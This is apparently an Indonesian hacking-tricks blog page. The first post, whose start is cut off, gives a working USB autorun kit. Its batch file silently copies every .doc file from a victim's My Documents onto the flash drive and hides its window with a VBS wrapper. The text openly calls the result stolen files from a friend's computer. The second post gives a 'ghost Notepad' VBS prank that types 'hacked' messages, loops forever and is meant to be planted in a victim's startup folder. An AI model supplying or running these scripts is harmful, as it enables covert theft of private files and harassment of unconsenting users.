action=Click OK to Run
shell\open\command=launch.bat
Kemudian simpanlah di flashdisk dengan nama: autorun.inf

Langkah ke-2

Buka Notepad lagi dan copas kode berikut:
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\My Documents\*.doc" "%drive%\all\doc"
@echo off
cls
Simpan di flashdisk anda dengan nama:file.bat

Langkah ke-3

Buka Notepad lagi dan copas kode berikut:
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
Simpan di flashdisk anda dengan nama:invisible.vbs

Langkah ke-4

Buka Notepad lagi dan copas lagi kode berikut:
wscript.exe \invisible.vbs file.bat
Simpan di flashdisk anda dengan nama:launch.bat
Ok, sekarang pastikan ke-4 file tadi yang telah kita buat berada di flashdisk kita, dan buatlah folder baru dengan nama all untuk menyimpan hasil curian kita di komputer teman tadi, dimana perintah: %backupcmd% “%USERPROFILE%\My Documents\*.doc” “%drive%\all\doc”, akan menyalin semua file ber-ekstensi .doc kedalam folder “all/doc” yang berada di flashdisk kita secara otomatis waktu kita mencolokkan flashdisk kita dikomputernya, ataupun dia sendiri yang mencolokkannya dikomputernya sendiri.


Sebelum mencoba mencuri file dikomputer teman, coba dulu flashdisk kita dikomputer kita sendiri, lihat apakah bekerja dengan baik. Selamat mencoba
Hantu Notepad

Hantu Notepad

No Comments


Membuat notepad Hantu….
gambar hantuApa jadinya ketika anda sedang asyik-asyiknya maen komputer, tiba-tiba notepad terbuka, lalu mengetikan kalimat-kalimat dengan sendrinya..???
Nah, Trik berikut ini akan membuat notepad mengetikan kalimatnya sendiri…hhhiiiiii sereeeem……korban anda akan mengira kalo komputernya sedang kesurupan…..
Oke langsung saja ketikan script berikut ini pada selembar notepad :

WScript.Sleep 180
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "notepad"
WScript.Sleep 100
WshShell.SendKeys "H"
WScript.Sleep 100
WshShell.SendKeys "E"
WScript.Sleep 100
WshShell.SendKeys "L"
WScript.Sleep 100
WshShell.SendKeys "L"
WScript.Sleep 100
WshShell.SendKeys "O"
WScript.Sleep 100
WshShell.SendKeys "."
WScript.Sleep 100
WshShell.SendKeys "."
WScript.Sleep 100
WshShell.SendKeys "."
WshShell.SendKeys "{ENTER}"
WScript.Sleep 100
WshShell.SendKeys "A"
WScript.Sleep 100
WshShell.SendKeys "P"
WScript.Sleep 100
WshShell.SendKeys "A "
WScript.Sleep 100
WshShell.SendKeys "KA"
WScript.Sleep 100
WshShell.SendKeys "BAR"
WScript.Sleep 100
WshShell.SendKeys "."
WScript.Sleep 100
WshShell.SendKeys "."
WScript.Sleep 100
WshShell.SendKeys "."
WScript.Sleep 100
WshShell.SendKeys "?"
WshShell.SendKeys "{ENTER}"
WScript.Sleep 100
WshShell.SendKeys "K"
WScript.Sleep 100
WshShell.SendKeys "O"
WScript.Sleep 100
WshShell.SendKeys "M"
WScript.Sleep 100
WshShell.SendKeys "P"
WScript.Sleep 100
WshShell.SendKeys "U"
WScript.Sleep 100
WshShell.SendKeys "T"
WScript.Sleep 100
WshShell.SendKeys "E"
WScript.Sleep 100
WshShell.SendKeys "R "
WScript.Sleep 100
WshShell.SendKeys "I"
WScript.Sleep 100
WshShell.SendKeys "N"
WScript.Sleep 100
WshShell.SendKeys "I "
WScript.Sleep 300
WshShell.SendKeys "TELAH "
WScript.Sleep 300
WshShell.SendKeys "DI HACK "
WScript.Sleep 300
WshShell.SendKeys "OLEH "
WScript.Sleep 300
WshShell.SendKeys "HANTU CAKEP"
WshShell.SendKeys "{ENTER}"
WScript.Sleep 100
WshShell.SendKeys "."
WScript.Sleep 100
WshShell.SendKeys "."
WScript.Sleep 100
WshShell.SendKeys "MINTA "
WScript.Sleep 100
WshShell.SendKeys "NO "
WScript.Sleep 100
WshShell.SendKeys "HP "
WScript.Sleep 100
WshShell.SendKeys "DONG"
WScript.Sleep 100
WshShell.SendKeys "."
WScript.Sleep 100
WshShell.SendKeys "."
WshShell.SendKeys "{ENTER}"
Simpan script diatas dalam format .vbs, lalu aktifkan dengan mendouble klik, atau masukkan kedalam folder startup korban anda, dan lihat apa yang terjadi…
Tentu saja anda bisa mengedit kata-kata yang terdapat pada script, anda bisa menambahkan atau mengubahnya dengan kata-kata anda sendiri, yang lebih jahil, genit atau menakutkan, terserah anda. Oh ya untuk menambahkan kata anda cukup menuliskan script :

WScript.Sleep 100
WshShell.SendKeys "kata-kata anda"
Jadi misalkan anda ingin menambahkan kata “atau pin BB” pada script diatas maka anda cukup menambahkan script berikut pada baris paling akhir

WScript.Sleep 100
WshShell.SendKeys "ATAU"
WScript.Sleep 100
WshShell.SendKeys "PIN"
WScript.Sleep 100
WshShell.SendKeys "BB"
Dan jika anda ingin menyisipkan kata-kata tersebut dalam sebuah baris baru maka sisipkan script
1
WshShell.SendKeys "{ENTER}"
Jadi misalkan anda ingin menjadikan kata ATAU PIN BB, menjadi tiga baris baru maka scriptnya akan menjadi

WScript.Sleep 100
WshShell.SendKeys "ATAU"
WshShell.SendKeys "{ENTER}"
WScript.Sleep 100
WshShell.SendKeys "PIN"
WshShell.SendKeys "{ENTER}"
WScript.Sleep 100
WshShell.SendKeys "BB"
Menambah keganasan hantu
Script “hantu” diatas belum begitu ganas dan menakutkan, untuk menambah keganasannya, bagaimana jika kita buat teks-teks tersebut muncul secara berulang-ulang, meskipun korban anda menutup jendela notepadnya…
Menarik bukan…??? lalu bagaimana caranya..?? ikuti langkah berikut ini….
  1. Pada bagian awal script tambahkan command “do” (tanpa tanda petik)
  2. Pada akhir script tambahkan command “loop” tanpa tanda petik
  3. Simpan file dengan format .vbs, udah selesai…??? yupp….!! susah banget kan….???
Yah kalau begitu doang sih, dimana ngefeknya…..eiitssss…..jangan meremehkan tambahan script yang simpel tersebut, coba dulu double klik file .vbs anda, dan lihat efeknya…..:D ,
Cara nyembuhinnya..?? anda tinggal meng-“end process” entry wscript.exe pada taskmanager, tapi anda harus cepat ya, kalo nggak bakal kalah sama “virus hantu” nya …